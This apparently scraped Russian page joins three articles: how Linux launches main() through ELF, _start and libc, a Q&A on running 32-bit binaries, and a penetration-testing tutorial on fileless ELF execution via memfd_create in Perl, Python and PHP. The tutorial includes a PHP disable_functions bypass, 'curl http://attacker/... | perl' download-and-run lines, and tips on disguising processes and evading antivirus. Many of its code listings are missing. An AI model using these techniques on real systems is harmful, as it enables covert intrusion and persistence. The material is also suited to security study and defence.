Elf файлы linux как открыть

Как запускается функция main() в Linux

Вступление

Так ли прост вопрос: «Как запускается функция main() в Linux»? Для ответа на него я возьму, в качестве примера, простенькую программу на языке C — «simple.c»

Что находится внутри исполняемого файла?

Для того, чтобы рассмотреть внутреннее устройство исполняемого файла воспользуемся утилитой «objdump»

Отсюда видно, что файл, во-первых, имеет формат «ELF32», а во-вторых — адрес запуска программы «0x080482d0»

Что такое ELF?

ELF — это аббревиатура от английского Executable and Linking Format (Формат Исполняемых и Связываемых файлов). Это одна из разновидностей форматов для исполняемых и объектных файлов, используемых в UNIX-системах. Для нас особый интерес будет представлять заголовок файла. Каждый файл формата ELF имеет ELF-заголовок следующей структуры:

В этой структуре, поле «e_entry» содержит адрес запуска программы.

Что находится по адресу «0x080482d0», то есть по адресу запуска (starting

Для ответа на этот вопрос попробуем дизассемблировать программу «simple». Для дизассемблирования исполняемых файлов я использую objdump.

Утилита objdump выдаст очень много информации, поэтому я не буду приводить её всю. Нас интересует только адрес 0x080482d0. Вот эта часть листинга:

Похоже на то, что первой запускается процедура «_start». Все, что она делает — это очищает регистр ebp, «проталкивает» какие-то значения в стек и вызывает подпрограмму. Согласно этим инструкциям содержимое стека должно выглядеть так:

Теперь вопросов становится еще больше

• Что за числа кладутся в стек?
• Что находится по адресу 80482bc, который вызывается инструкцией call в процедуре _start?
• В приведенном листинге отсутствуют инструкции, инициализирующие регистры (имеются ввиду eax, ecx, edx прим. перев.). Где они инициализируются?

Попробуем ответить на все эти вопросы.

Вопрос 1> Что за числа кладутся в стек?

Если внимательно просмотреть весь листинг, создаваемый утилитой objdump, то можно легко найти ответ

0x80483d0 : Это адрес функции main().

0x8048274 : адрес функции _init.

0x8048420 : адрес функции _fini. Функции _init и _fini — это функции инициализации и финализации (завершения) приложения, генерируемые компилятором GCC.

Таким образом все приведенные числа являются указателями на функции (точнее — адресами функций прим. перев.)

Вопрос 2> Что находится по адресу 80482bc?

Снова обратимся к листингу.

Здесь *0x8049548 означает указатель.

Это просто косвенный переход по адресу, хранящемуся в памяти по адресу 0x8049548.

Дополнительно о формате ELF и динамическом связывании

Формат ELF предполагает возможность динамического связывания исполняемой программы с библиотеками. Где под словами «динамическое связывание» следует понимать то, что связывание производится во время исполнения. В противоположность динамическому связыванию существует «статическое связывание», т.е. когда связывание с библиотеками происходит на этапе сборки программы, что, как правило, приводит к «раздуванию» исполняемого файла до огромных размеров. Если вы запустите команду:

Вы сможете увидеть полный список библиотек, связанных с программой simple динамически. Вкратце, концепция динамического связывания выглядит так.

1. На этапе сборки программы адреса переменных и функций в динамической библиотеке не известны. Они становятся известны только на этапе исполнения
2. Для того, чтобы иметь возможность обращаться к компонентам динамической библиотеки (переменные, функции и т.д. прим. перев.) необходимо предусмотреть указатели на эти компоненты Указатели заполняются фактическими адресами во время загрузки.
3. Приложение может обращаться к динамическим компонентам только косвенно, используя для этого указатели. Пример такой косвенной адресации можно увидеть в листинге, приведенном выше, по адресу 80482bc, когда осуществляется косвенный переход. Фактический адрес перехода сохраняется по адресу 0x8049548 во время загрузки программы.

Косвенные ссылки можно посмотреть, выполнив команду

Что такое __libc_start_main?

Теперь «карты сдает» библиотека libc. __libc_start_main — это функция из библиотеки libc.so.6. Если отыскать функцию __libc_start_main в исходном коде библиотеки glibc, то увидите примерно такое объявление.

Теперь становится понятен смысл ассемблерных инструкций из листинга, приведенного выше — они кладут на стек входные параметры и вызывают функцию __libc_start_main.

В задачу этой функции входят некоторые действия по инициализации среды исполнения и вызов функции main().

Рассмотрим содержимое стека с новых позиций.

Согласно такому представлению стека, понятно, что перед вызовом __libc_start_main() в регистры esi, ecx, edx, esp и eax должны быть записаны соответствующие значения. Совершенно очевидно, что дизассемблированный код, показанный выше, ничего в эти регистры не пишет. Тогда кто? Остается только одно предположение — ядро. А теперь перейдем к третьему вопросу.

Вопрос 3> Что делает ядро?

Когда программа запускается из командной строки, выполняются следующие действия.

1. Командная оболочка (shell) делает системный вызов «execve» с параметрами argc/argv.
2. Обработчик системного вызова в ядре получает управление и начинает его обработку. В ядре обработчик называется «sys_execve». На платформе x86, пользовательское приложение передает аргументы вызова в ядро через регистры.
   • ebx : указатель на строку с именем программы
   • ecx : указатель на массив argv
   • edx : указатель на массив переменных окружения
3. Универсальный обработчик системного вызова в ядре называется do_execve. Он создает и заполняет определенные структуры данных, копирует необходимую информацию из пространства пользователя в пространство ядра и, наконец, вызывает search_binary_handler().

Linux поддерживает множество форматов исполняемых файлов, например a.out и ELF. Для обеспечения такой поддержки в ядре имеется структура «struct linux_binfmt», которая содержит указатели на загрузчики каждого из поддерживаемых форматов. Таким образом, search_binary_handler() просто отыскивает нужный загрузчик и вызывает его. В нашем случае — это load_elf_binary(). Описывать эту функцию в подробностях слишком долгая и нудная работа, так что я не буду заниматься этим здесь. За подробностями обращайтесь к специальной литературе по данной тематике. (от себя могу предложить ссылку на статью «Внутреннее устройство ядра Linux 2.4» прим. перев. )

Вкратце процесс загрузки выглядит примерно так.

Сначала создаются и заполняются структуры в пространстве ядра и файл программы считывается в память. Затем производится установка дополнительных значений — определяется размер сегмента кода, определяется начало сегмента данных и сегмента стека и т.д.. В пользовательском режиме выделяется память, в которую копируются входные параметры (argv) и переменные окружения. Затем функция create_elf_tables(), в пользовательском режиме, кладет на стек argc, указатели на argv и массив переменных окружения, после чего start_thread() запускает программу на исполнение.

Когда управление передается в точку _start, стек выглядит примерно так:

Теперь наш дизассемблированный листинг выглядит еще более определенным.

Теперь все готово к запуску программы.

Что можно сказать по-поводу остальных регистров?

esp используется для указания вершины стека в прикладной программе. После того как со стека будет снята вся необходимая информация, процедура _start просто скорректирует указатель стека (esp), сбросив 4 младших бита в регистре esp. В регистр edx заносится указатель на, своего рода деструктор приложения — rtlf_fini. На платформе x86 эта особенность не поддерживается, поэтому ядро заносит туда число 0 макрокомандой.

Откуда взялся весь этот дополнительный код

Подведение итогов

Итак, выводы следующие.

1. При сборке программы, GCC присоединяет к ней код из объектных модулей crtbegin.o/crtend.o/gcrt1.o а другие библиотеки, по-умолчанию, связывает динамически. Адрес запуска приложения (в ELF-заголовке прим. перев.) указывает на точку _start.
2. Ядро загружает программу и устанавливает сегменты text/data/bss/stack, распределяет память для входных параметров и переменных окружения и помещает на стек всю необходимую информацию.
3. Управление передается в точку _start. Здесь информация снимается со стека, на стеке размещаются входные параметры для функции __libc_start_main, после чего ей передается управление.
4. Функция __libc_start_main выполняет все необходимые действия по инициализации среды исполнения, особенно это касается библиотеки C (malloc и т.п.) и вызывает функцию main() программы.
5. Функции main() передаются входные аргументы — main(argc, argv). Здесь есть один интересный момент. __libc_start_main «представляет» себе сигнатуру функции main() как main(int, char **, char **). Если вам это любопытно, то попробуйте запустить следующую программу:

Заключение

В Linux запуск функции main() является результатом взаимодействия GCC, libc и загрузчика.

Источник

Как запустить файл с расширением (возможно, ELF) на Ubuntu?

Мне был дан “двоичный” файл в linux и отдельный файл для окон для конкретной задачи. Программы являются exe для окон. Линукс-версия файла имеет ту же функцию в Linux, что и окна.

Однако я не смог выполнить это. Я попробовал (на терминале) выполнить его только с именем файла, ./[filename] и даже попробовал chmod +x [filename] , а затем попробовал второй способ.

Для всего… Я получаю результат: “Команда не найдена”. (Файл определенно существует, кстати).

Что я должен делать? Команда file на нем дает:

Я предполагаю, что это 32-битная компиляция на 64-битной системе. Я перекрестно скомпилировал небольшой файл c в двоичный файл, используя опцию -m32 в gcc. Это также потребовало нескольких дополнительных пакетов. Результат a.out выглядит следующим образом.

Сравните это с внутренней бинарной системой

Запуск a.out показывает мне это.

Конкретное сообщение “Команда не найдена” – это что-то, я думаю, bash печатает. Я сам использую zsh.

Чтобы это сработало, вы можете установить пакеты multilib. Я не сузил его до точного пакета, но установка gcc-multilib на Debian тянет все, что вам нужно. После установки этого, вот что я получаю.

(программа должна оценивать значение PI).

Примечание. Мне действительно нужно было установить gcc-multilib только для компиляции файла. Затем я удалил пакеты, чтобы имитировать 64-битную систему, у которой нет 32-битных библиотек времени выполнения, которые нужны этой вещи.

Источник

Эльфы в памяти. Выполнение ELF в оперативной памяти Linux

Бесфайловое распространение вредоносного ПО набирает популярность. Что не удивительно, ведь работа таких программ практически не оставляет следов. В этой статье мы не будем касаться техник выполнения программ в памяти Windows. Сконцентрируемся на GNU/Linux. Linux по праву доминирует в серверном сегменте, обитает на миллионах встраиваемых устройств и обеспечивает работу подавляющего большинства веб-ресурсов. Далее мы сделаем небольшой обзор возможностей исполнения программ в памяти и продемонстрируем что это возможно даже в затруднительных условиях.

Техники бесфайлового выполнения программ скрытны, обнаружить и отследить их использование крайне сложно. Средства контроля целостности файловой системы не предупредят администратора, поскольку никаких операций записи на диск либо изменения файлов на диске не происходит. Антивирусное ПО (которым часто пренебрегают пользователи *nix) зачастую не отслеживает память программ после запуска. К тому же во многих дистрибутивах GNU/Linux сразу после установки доступен широчайший спектр всевозможных утилит отладки, интерпретаторов, компиляторов языков программирования и библиотек для них. Все это создает прекрасные условия для использования техник скрытного, безфайлового выполнения программ. Но помимо плюсов их применения есть и недостатки — эти программы не переживают обесточивание или перезагрузку целевого хоста. Но пока хост запущен, программа работает.

Такие приемы можно и нужно использовать не только для распространения вредоносного ПО. Если вам критична скорость выполнения вашей программы — выгружайте ее в ОЗУ. Собственно, многие дистрибутивы Linux прекрасно себя чувствуют полностью запускаясь в оперативной памяти, что позволяет работать с жесткими дисками не сохраняя никаких фалов на них. С точки зрения аудита информационной безопасности, методы скрытного выполнения программ очень полезны как этап пост-эксплуатации и разведки внутри периметра целевой сети. Особенно если максимальная скрытность является одним из условий аудита.
По данным портала barkly.com в 2018 году, уже 35% вирусных атак приходится на вредносное ПО, выполняемое в памяти.

В случае с Windows, злоумышленники активно используют предустановленный в системе Powershell для того, чтобы загрузить и тут же выполнить код. Эти техники получили широкое распространение в том числе и благодаря реализации в таких фреймворках как Powershell Empire, Powersploit и Metasploit Framework.

А что насчет Linux?

В большинстве случаев дистрибутивы Linux, установленные на хостах, имеют заранее предустановленный набор программного обеспечения. «Из коробки», как правило, доступны интерпретаторы языков программирования: Python, Perl, компилятор языка C. На хостинг-площадках в довесок присутствует PHP. Это условие обеспечивает возможность выполнить код средствами этих языков.

В Linux у нас есть несколько широко известных вариантов исполнения кода в памяти.
Проще всего — воспользоваться заранее смонтированной в файловую систему областью разделяемой памяти (shared memory).

Поместив исполняемый файл в каталог /dev/shm или /run/shm, можно добиться его выполнения в непосредственно в памяти, учитывая, что эти каталоги — не что иное, как смонтированная на файловую систему область оперативной памяти. Но их можно просмотреть с помощью ls как и любой другой каталог. Да и как правило эти каталоги монтируются с флагом noexec, и выполнение программ в этих директориях доступно только суперпользователю. Значит, чтобы быть чуть более незаметным, нужно что-то еще.

Более примечателен системный вызов memfd_create(2). Этот системный вызов работает примерно как malloc(3), но возвращает не указатель на область памяти, а файловый дескриптор на анонимный файл, который виден в файловой системе только как ссылка в /proc/PID/fd/ , по которой его можно выполнить с помощью execve(2).
Вот что говорит страница руководства по использованию системного вызова memfd_create(на русском):

«Имя, указанное в name , используется в качестве имени файла и будет показываться как цель соответствующей символьной ссылки в каталоге. /proc/self/fd/ . Отображаемое имя всегда начинается с memfd: и служит только для отладки. Имена не влияют на поведение файлового дескриптора, и поэтому несколько файлов могут иметь одно имя без каких-либо последствий.»

Пример использования memfd_create() для языка C:

Код выше использует memfd , создает дочерний процесс, направляет его вывод во временный файл, ожидает завершения дочернего процесса и считывает его вывод из временного файла. Обычно для перенаправления вывода одной программы на ввод другой в *nix используют pipe «|».

Возможность использования syscall() есть и в интерпретируемых языках, таких как perl, python, etc… Далее рассмотрим один из возможных сценариев и продемонстрируем возможность загрузки исполняемых файлов в память с помощью memfd_create() .

Допустим, мы имеем точку входа в виде command injection.
Нам потребуется способ выполнять системные вызовы в целевой системе.
В perl с этим нам поможет функция syscall().
Нам также понадобится способ записать наш ELF напрямую в память как содержимое анонимного файла.
Для этого мы поместим наш ELF прямо в тело скрипта, который в свою очередь будет передан на целевую систему через доступный command injection. В качестве альтернативы также можно загрузить исполняемый файл по сети.
Но перед этим стоит сделать оговорку. Нам надо знать версию ядра linux на целевом хосте, поскольку необходимый нам системный вызов memfd_create() доступен только с версий 3.17 и выше.

Давайте поближе познакомимся с memfd_create() и execve()

Для нашего анонимного файла мы будем использовать константу MFD_CLOEXEC , которая «устанавливает флаг close-on-exec (FD_CLOEXEC) для нового открытого файлового дескриптора.» Это значит, наш файловый дескриптор автоматически закроется после того, как мы выполним наш ELF с помощью execve()

Поскольку мы будем использовать функцию syscall() языка Perl, то нам пригодятся числовые значения для вызова нашего syscall и параметра к нему.
Найти их можно в /usr/include либо в Интернете. Номер системного вызова можно найти в #define , начинающихся с __NR_
В нашем случае memfd_create() имеет номер 319 для 64-х разрядной ОС. А константа FD_CLOSEXEC 0x0001U (то есть 1 в файле linux/memfd.h )

Теперь у нас есть все необходимые числовые значения, и мы можем написать на языке Perl аналог memfd_create(name, MFD_CLOEXEC) из С.
Еще нам необходимо будет придумать имя файла, которое будет отображаться в /memfd:
Оптимально будет выбрать имя, похожее на [:kworker] либо другое, не вызывающее подозрения.
Для примера в параметр имени мы будем передавать пустую строку:

Теперь у нас есть дескриптор анонимного файла в $fd и нам надо записать ELF в этот файл.
Функция open() в perl обычно используется для открытия файлов, однако с помощью конструкции >&=FD , передавая этой функции дескриптор вместо имени файла, мы превращаем уже открытый файловый дескриптор в file handle.
Нам бы так же пригодился autoflush[] :

Теперь у нас есть дескриптор, ссылающийся на анонимный файл.

Далее нам необходимо преобразовать наш исполняемый файл в данные, которые можно поместить в тело Perl-скрипта.
Для этого выполняем:

Мы получим много-много подобных строк:

Выполнив их, мы поместим наш исполняемый файл в память. Нам останется лишь запустить его.

Опционально мы можем использовать fork(). Это вовсе не обязательно. Но если мы хотим не просто запустить ELF и убить процесс, нам нужно будет использовать fork() .
В общем случае создание дочернего процесса в perl выглядит примерно так:

Полезность fork() еще и в том, что, вызвав его вместе с setsid(2), можно отделить дочерний процесс от родительского и дать родителю завершиться:

Теперь мы можем запустить ELF во множестве процессов.

Execve()

Execve() — системный вызов, позволяющий нам выполнять программу. Perl предоставляет нам подобный функционал посредством функции Exec(), которая работает точно так же как вышеупомянутый системный вызов, но имеет куда более простой и удобный синтаксис.
Нам нужно передать в exec() две вещи: файл, который мы хотим выполнить (наш заранее загруженный в память ELF), и имя процесса в качестве одного из передаваемых аргументов. Обычно имя процесса соответствует имени исполняемого файла. Но поскольку в листинге процессов мы будем видеть /proc/PID/fd/3 , мы назовем наш процесс как-нибудь по-другому.
Синтаксис exec() выглядит следующим образом:

Пример выше запускает Netcat. Но мы бы хотели запустить нечто чуть менее похожее на бекдор.
Запущенный процесс не будет иметь ссылки на анонимный файл в /proc/PID/fd , но мы всегда можем найти наш ELF по ссылке /proc/PID/exe , которая указывает на файл запущенного процесса.
Вот мы и запустили ELF в памяти Linux, не трогая при этом диск и даже файловую систему.
Быстро и удобно загрузить наш исполняемый файл на целевую систему можно, например, передав интерпретатору Perl скрипт, в тело которого мы поместили ELF и разместили на внешнем веб-хостинге: $ curl http://attacker/evil_elf.pl | perl

Python

По аналогии с Perl-вариантом нам нужно сделать следующее:

• с помощью системного вызова memfd_create() создать в памяти анонимный файл
• записать в этот файл исполняемый ELF
• выполнить его и опционально выполнить несколько раз с помощью fork()

В случае с python, чтобы вызвать syscall нам понадобится стандартный модуль ctypes и os для записи и выполнения файла и управления процессом. Все полностью аналогично варианту на perl.
В коде выше мы записываем в память файл, заранее размещенный в каталоге /tmp/ . Однако ничто не мешает нам загрузить файл с веб-сервера.

На данном этапе мы уже можем использовать perl и python. Интерпретаторы этих языков по умолчанию установлены во многих ОС. Но самое интересное, как всегда, впереди.
Если по какой-то причине нам недоступны интерпретаторы perl или python, было бы здорово использовать PHP. Этот язык очень популярен среди веб-разработчиков. И если уж мы нашли возможность выполнения кода в веб-приложении, с большой вероятностью нас встретит именно интерпретатор PHP.

К сожалению, php не имеет встроенных механизмов для вызова syscall .
Нам на глаза попался пост от Beched’a на форуме rdot (Спасибо Beched!), который перезаписывает через procfs /proc/self/mem в памяти текущего процесса вызов функции open на system и за счет этого обходит disable_functions .
Мы же применили этот трюк для перезаписи функции на наш код, который будет вызывать нужные системные вызовы.
Передавать syscall интерпретатору php мы будем в виде шеллкода на assembler’е.
Системные вызовы необходимо будет передать через последовательность команд.
Приступим к написанию PHP-сценария. Далее будет много магии.

Сначала обозначим необходимые параметры:

Обозначим сдвиг — верхнее и нижнее значение в памяти, куда позже поместим наш шеллкод:

Далее функция, с помощью которой «распаковывается» бинарный файл. Для этого преобразуем бинарные данные в десятеричное представление c помощью функции hexdex() из бинарных данных bin2hex() в обратном порядке (для помещения в память):

Далее разбирается файл формата ELF для получения смещений:

Дополнительно выведем информацию об установленной версии PHP:

Сверяем разрядность операционной системы и версию ядра Linux:

Для того, чтобы обойти ограничения disable_functions , скрипт переписывает на ходу адрес функции open@plt . Мы внесли несколько дополнений к коду beched’a, и теперь можем поместить в память наш шеллкод.

Сначала необходимо найти сдвиг в бинарном файле самого интерпретатора PHP, для этого обращаемся к /proc/self/exe и разбираем исполняемый файл с помощью вышеописанной функции parseelf() :

Находим адрес функции open() :

Теперь можно перейти непосредственно к загрузке нашего исполняемого файла.
Сначала создаем анонимный файл:

Записываем нагрузку в анонимный файл:

Ищем номер файлового дескриптора:

Далее пишем в стек путь до исполняемого файла:

И аргументы для запуска, передаваемые исполняемой программе:

Далее с помощью вызова fork() выполняем нашу полезную нагрузку:

Шеллкод

Под шеллкодом обычно подразумевают последовательность байт, которую помещают в память, а затем выполняют — обычно в контексте работы другой программы, с помощью атак на переполнение буфера и прочих. В нашем же случае шеллкод не возвращает нам приглашение командной строки удаленного сервера (собственно Шелл), но позволяет выполнить необходимые нам команды.

Чтобы получить необходимую последовательность байт, можно либо написать код на языке C, затем перевести в язык ассемблера, либо написать на ассемблере с нуля.

Разберемся что же скрывается за последовательностью байт из листингов выше.

Запуск нашей программы начинается c fork . 57 это номерное значение идентификатора системного вызова для 64-х разрядных систем. Таблицу можно найти тут.

Далее вызываем setsid (нумерной идентификатор 112) для преобразования дочернего процесса в родительский:

Затем выполняем еще один fork :

Затем выполняем уже знакомый вам execve() :

И завершаем процесс с помощью exit() (60):

Таким образом мы выполнили замену кода функции open() на ходу. Наш исполняемый файл был помещен в память и выполнен средствами интерпретатора PHP. Системные вызовы представлены в виде шеллкодов.

Metasploit Framework

В качестве компиляции вышеописанных техник, мы подготовили модуль для MSF.

Чтобы добавить его в Metasploit, достаточно просто скопировать файл модуля в директорию $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb а затем выполнить команду reload_all в консоли фреймворка.
Чтобы использовать наш модуль вводим use post/linux/manage/download_exec_elf_in_memory (или другой путь, в зависимости от того, в какую директорию был помещен файл модуля)
Перед тем как использовать его, необходимо задать необходимые опции. Список опций выводим командой show options

ARGS — Аргументы для исполняемого файла

FILE — путь до исполняемого файла. В нашем случае это Netcat

NAME — имя процесса. Обозвать его можно как угодно. Например, для пущей незаметности это может быть kworker:1 ну или в целях демонстрации что-нибудь шуточное, например KittyCat

SESSION — сессия meterpreter. Подразумевается, что этот модуль будет использован в целях пост-эксплуатации.

Далее обозначаем хост, на котором будет располагаться http-сервер с нашей нагрузкой и его порт — в опциях SRVHOST и SRVPORT соответственно.

VECTOR — метод, которым будет достигнуто исполнение программы в памяти, параметр не обязательный, если он будет пуст скрипт сам установит наличие нужных интерпретаторов. На данный момент поддерживаются PHP, Python или Perl.

Выполняем с помощью команды exploit или run

Работает он следующим образом — мы указываем нужную сессию, это может быть как meterpreter, так и обычный reverse-shell. Далее указываем локальный путь до нашего elf’а, аргументы и желаемое имя в списке процессов. После старта будет запущен локальный веб сервер для хостинга пейлоада, а на сессии будет выполнен поиск «качалок», на данный момент поддерживаются curl и wget. После нахождения хотя бы одной из них, будет выполнен поиск всех интерпретаторов, если мы не конкретизировали в параметре VECTOR какой именно нам нужен. Ну и в случае успеха, будет выполнена команда на загрузку пейлоада с нашего веб-сервера и передача его через pipe нужному интерпретатору, т.е. что-то типа $ curl http://hacker/payload.pl | perl

Вместо заключения.

Бесфайловая загрузка ELF-файлов в Linux — полезная техника при проведении тестирования на проникновение. Это достаточно бесшумный способ, способный противостоять широкому спектру средств антивирусной защиты, систем контроля целостности и мониторинговых систем следящих за изменением содержимого жесткого диска. Таким образом можно легко поддержать доступ к целевой системе, оставив при этом минимум следов.
В этой статье мы использовали интерпретируемые языки программирования, часто установленные по умолчанию в дистрибутивах Linux, прошивках встраиваемого оборудования, роутерах и мобильных устройствах. Отдельно хочется поблагодарить автора данной статьи, который вдохновил нас на этот ресерч.

Источник